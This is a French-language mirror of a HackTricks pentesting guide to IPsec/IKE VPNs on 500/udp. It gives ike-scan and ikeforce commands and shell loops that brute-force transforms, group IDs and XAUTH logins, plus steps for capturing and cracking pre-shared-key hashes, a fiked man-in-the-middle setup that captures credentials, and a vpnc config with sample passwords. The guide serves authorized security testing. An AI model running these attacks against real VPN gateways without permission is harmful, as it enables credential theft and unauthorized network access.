Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

20 KiB
Raw Blame History

500/udp - Pentesting IPsec/IKE VPN

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. Essayez-le gratuitement dès aujourd'hui.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Informations de base

IPsec est la technologie la plus couramment utilisée pour les solutions VPN d'entreprise, à la fois de passerelle à passerelle (LAN à LAN) et d'hôte à passerelle (accès distant).

IKE est un type d'ISAKMP (Internet Security Association Key Management Protocol), qui est un cadre d'authentification et d'échange de clés. IKE établit l'association de sécurité (SA) entre deux points de terminaison grâce à un processus en trois phases :

  • Phase 1 : Établir un canal sécurisé entre 2 points de terminaison à l'aide d'une clé pré-partagée (PSK) ou de certificats. Il peut utiliser le mode principal (3 paires de messages) ou le mode agressif.
  • Phase 1.5 : C'est facultatif, cela s'appelle la phase d'authentification étendue et authentifie l'utilisateur qui essaie de se connecter (utilisateur + mot de passe).
  • Phase 2 : Négocie les paramètres de sécurité des données en utilisant ESP et AH. Il peut utiliser un algorithme différent de celui utilisé dans la phase 1 (Perfect Forward Secrecy (PFS)).

Port par défaut : 500/udp

Découvrez le service en utilisant nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Trouver une transformation valide

La configuration IPSec peut être préparée pour n'accepter qu'une ou quelques transformations. Une transformation est une combinaison de valeurs. Chaque transformation contient un certain nombre d'attributs tels que DES ou 3DES comme algorithme de chiffrement, SHA ou MD5 comme algorithme d'intégrité, une clé pré-partagée comme type d'authentification, Diffie-Hellman 1 ou 2 comme algorithme de distribution de clé et 28800 secondes comme durée de vie.

Ensuite, la première chose que vous devez faire est de trouver une transformation valide, afin que le serveur puisse communiquer avec vous. Pour ce faire, vous pouvez utiliser l'outil ike-scan. Par défaut, Ike-scan fonctionne en mode principal et envoie un paquet à la passerelle avec un en-tête ISAKMP et une seule proposition avec huit transformations à l'intérieur.

En fonction de la réponse, vous pouvez obtenir des informations sur le point de terminaison :

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Comme vous pouvez le voir dans la réponse précédente, il y a un champ appelé AUTH avec la valeur PSK. Cela signifie que le VPN est configuré en utilisant une clé prépartagée (et c'est vraiment bon pour un pentester).
La valeur de la dernière ligne est également très importante:

  • 0 handshake retourné; 0 notification retournée: Cela signifie que la cible n'est pas une passerelle IPsec.
  • 1 handshake retourné; 0 notification retournée: Cela signifie que la cible est configurée pour IPsec et est prête à effectuer une négociation IKE, et l'une ou plusieurs des transformations que vous avez proposées sont acceptables (une transformation valide sera affichée dans la sortie).
  • 0 handshake retourné; 1 notification retournée: Les passerelles VPN répondent par un message de notification lorsque aucune des transformations n'est acceptable (bien que certaines passerelles ne le fassent pas, auquel cas une analyse supplémentaire et une proposition révisée doivent être essayées).

Dans ce cas, nous avons déjà une transformation valide, mais si vous êtes dans le troisième cas, vous devez forcer un peu pour trouver une transformation valide:

Tout d'abord, vous devez créer toutes les transformations possibles:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

Et ensuite, effectuez une attaque par force brute sur chacun d'eux en utilisant ike-scan (cela peut prendre plusieurs minutes) :

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Si la méthode de la force brute n'a pas fonctionné, il se peut que le serveur réponde sans effectuer de poignées de main, même pour des transformations valides. Dans ce cas, vous pouvez essayer la même méthode de force brute, mais en utilisant le mode agressif :

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Espérons qu'une transformation valide soit renvoyée.
Vous pouvez essayer la même attaque en utilisant iker.py.
Vous pouvez également essayer de forcer les transformations avec ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

Dans DH Group: 14 = 2048-bit MODP et 15 = 3072-bit
2 = HMAC-SHA = SHA1 (dans ce cas). Le format --trans est $Enc,$Hash,$Auth,$DH

Cisco recommande d'éviter en particulier les groupes DH 1 et 2. Les auteurs de l'article décrivent comment il est probable que les États-nations puissent décrypter les sessions IPsec négociées à l'aide de groupes faibles via la précomputation des logarithmes discrets. Les centaines de millions de dollars dépensés pour effectuer la précomputation sont amortis par le décryptage en temps réel de toute session utilisant un groupe faible (1 024 bits ou moins).

Fingerprinting du serveur

Ensuite, vous pouvez utiliser ike-scan pour essayer de découvrir le fournisseur du dispositif. L'outil envoie une proposition initiale et arrête de rejouer. Ensuite, il analyse la différence de temps entre les messages reçus du serveur et le modèle de réponse correspondant, le testeur de pénétration peut identifier avec succès le fournisseur de la passerelle VPN. De plus, certains serveurs VPN utiliseront la charge utile optionnelle Vendor ID (VID) avec IKE.

Spécifiez la transformation valide si nécessaire (en utilisant --trans)

Si IKE découvre quel est le fournisseur, il l'affichera :

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Cela peut également être réalisé avec le script nmap ike-version

Trouver le bon ID (nom de groupe)

Pour être autorisé à capturer le hash, vous avez besoin d'une transformation valide prenant en charge le mode Aggressive et le bon ID (nom de groupe). Vous ne connaîtrez probablement pas le nom de groupe valide, vous devrez donc le brute-force.
Pour ce faire, je vous recommande 2 méthodes :

Brute-force de l'ID avec ike-scan

Tout d'abord, essayez de faire une demande avec un ID factice pour essayer de recueillir le hash ("-P") :

ike-scan -P -M -A -n fakeID <IP>

Si aucun hachage n'est renvoyé, alors cette méthode de force brute devrait fonctionner. Si un hachage est renvoyé, cela signifie qu'un faux hachage va être renvoyé pour un faux ID, donc cette méthode ne sera pas fiable pour la force brute de l'ID. Par exemple, un faux hachage pourrait être renvoyé (cela se produit dans les versions modernes) :

Mais si, comme je l'ai dit, aucun hachage n'est renvoyé, vous devriez essayer de forcer les noms de groupe courants en utilisant ike-scan.

Ce script essaiera de forcer les IDs possibles et renverra les IDs où une poignée de main valide est renvoyée (ce sera un nom de groupe valide).

Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ike-scan. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour les essayer toutes (vous devriez les essayer toutes jusqu'à ce que l'une d'entre elles fonctionne correctement).

Vous pouvez utiliser le dictionnaire d'ikeforce ou celui de seclists de noms de groupe courants pour les forcer :

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Ou utilisez ce dictionnaire (qui est une combinaison des deux autres dictionnaires sans répétitions) :

{% file src="../.gitbook/assets/vpnIDs.txt" %}

Bruteforcer l'ID avec Iker

iker.py utilise également ike-scan pour forcer de manière brutale les noms de groupe possibles. Il suit sa propre méthode pour trouver un ID valide basé sur la sortie de ike-scan.

Bruteforcer l'ID avec ikeforce

ikeforce.py est un outil qui peut être utilisé pour forcer de manière brutale les IDs également. Cet outil essaiera d'exploiter différentes vulnérabilités qui pourraient être utilisées pour distinguer un ID valide d'un ID non valide (il peut y avoir des faux positifs et des faux négatifs, c'est pourquoi je préfère utiliser la méthode ike-scan si possible).

Par défaut, ikeforce enverra au début quelques IDs aléatoires pour vérifier le comportement du serveur et déterminer la tactique à utiliser.

  • La première méthode consiste à forcer de manière brutale les noms de groupe en recherchant les informations Dead Peer Detection DPD des systèmes Cisco (ces informations ne sont renvoyées par le serveur que si le nom de groupe est correct).
  • La deuxième méthode disponible consiste à vérifier le nombre de réponses envoyées à chaque tentative car parfois plus de paquets sont envoyés lorsque l'ID correct est utilisé.
  • La troisième méthode consiste à rechercher "INVALID-ID-INFORMATION" en réponse à un ID incorrect.
  • Enfin, si le serveur ne renvoie rien lors des vérifications, ikeforce essaiera de forcer de manière brutale le serveur et vérifiera si lorsque l'ID correct est envoyé, le serveur renvoie un paquet.
    Évidemment, le but de la force brute de l'ID est d'obtenir la PSK lorsque vous avez un ID valide. Ensuite, avec l'ID et la PSK, vous devrez forcer de manière brutale le XAUTH (s'il est activé).

Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ikeforce. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour les essayer toutes (vous devriez les essayer toutes jusqu'à ce que l'une d'entre elles fonctionne correctement).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library

./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

Il est également possible d'obtenir des noms d'utilisateur valides en écoutant la connexion entre le client VPN et le serveur, car le premier paquet de mode agressif contenant l'ID du client est envoyé en clair (d'après le livre Network Security Assessment: Know Your Network)

Capture et craquage du hash

Enfin, si vous avez trouvé une transformation valide et le nom du groupe et si le mode agressif est autorisé, vous pouvez très facilement récupérer le hash crackable :

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Le hash sera enregistré dans hash.txt.

Vous pouvez utiliser psk-crack, john (en utilisant ikescan2john.py) et hashcat pour cracker le hash :

psk-crack -d <Wordlist_path> psk.txt

XAuth

La plupart des implémentations utilisent le mode agressif IKE avec un PSK pour effectuer une authentification de groupe, et XAUTH pour fournir une authentification utilisateur supplémentaire (via Microsoft Active Directory, RADIUS ou similaire). Dans IKEv2, EAP remplace XAUTH pour authentifier les utilisateurs.

MitM du réseau local pour capturer les identifiants

Ainsi, vous pouvez capturer les données de connexion en utilisant fiked et vérifier s'il existe un nom d'utilisateur par défaut (vous devez rediriger le trafic IKE vers fiked pour le sniffing, ce qui peut être fait à l'aide de l'usurpation ARP, plus d'informations). Fiked agira en tant que point de terminaison VPN et capturera les identifiants XAuth :

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

De plus, en utilisant IPSec, essayez de réaliser une attaque de l'homme du milieu (MitM) et bloquez tout le trafic vers le port 500. Si le tunnel IPSec ne peut pas être établi, il se peut que le trafic soit envoyé en clair.

Brute-forcing du nom d'utilisateur et du mot de passe XAUTH avec ikeforce

Pour effectuer une attaque de force brute sur le XAUTH (lorsque vous connaissez un nom de groupe valide id et le psk), vous pouvez utiliser un nom d'utilisateur ou une liste de noms d'utilisateurs et une liste de mots de passe :

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

De cette manière, ikeforce essaiera de se connecter en utilisant chaque combinaison nom d'utilisateur: mot de passe.

Si vous avez trouvé une ou plusieurs transformations valides, utilisez-les comme dans les étapes précédentes.

Authentification avec un VPN IPSEC

Dans Kali, VPNC est utilisé pour établir des tunnels IPsec. Les profils doivent être situés dans /etc/vpnc/ et vous pouvez utiliser l'outil vpnc pour les appeler.
Exemple tiré du livre Network Security Assessment 3rd Edition:

root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP
IPSec gateway 10.0.0.250
IPSec ID vpntest
IPSec secret groupsecret123
IKE Authmode psk
Xauth username chris
Xauth password tiffers1
STOP
root@kali:~# vpnc vpntest
VPNC started in background (pid: 6980)...
root@kali:~# ifconfig tun0

Matériel de référence

Shodan

  • port:500 IKE

Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives et détecte les problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. Essayez-le gratuitement dès aujourd'hui.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥